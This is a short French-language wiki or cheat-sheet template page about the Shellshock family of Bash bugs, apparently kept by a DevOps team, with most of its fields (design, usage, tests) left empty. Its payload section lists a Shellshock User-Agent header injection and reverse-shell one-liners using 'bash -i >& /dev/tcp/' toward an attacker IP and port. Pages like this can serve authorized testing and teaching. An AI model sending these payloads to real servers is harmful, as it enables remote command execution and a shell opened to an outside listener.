Shell Shock

*Auteur(s): [email protected] *Mainteneur(s): ** *Département: DevOps *Licence(s): **

Aperçu

Shell Shock: Élévation de privilèges, exécution de code à distance Famille de bogues dans le shell Bash Unix. Permet l'exécution de commandes arbitraires.

Vecteurs d'exploitation

---

Charges utiles

• agent utilisateur shellshock = User-Agent: () { :; } ; <$BASH_COMMAND>
• charge utile rshell = bash -i >& /dev/tcp/127.0.0.1
  • redirection rshell vers l'écouteur = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Astuces

Conception:

• Objectif:
• Contenu:
• Serveur(s):
  • Application:
  • Base de données:
• Réseau:
  • DNS:
  • Routes:
• Dépendances applicatives:
• Programmes dépendants:

Utilisation de base:

• Utilisation:

• Cas d'utilisation courants:

• Exemples:

Tests

Entrée de test

• Paramètres:
• Actions:

Sortie de test

• Sortie:
• Captures d'écran:
• Vidéo:
• Etc.:

Remarques:* [option]: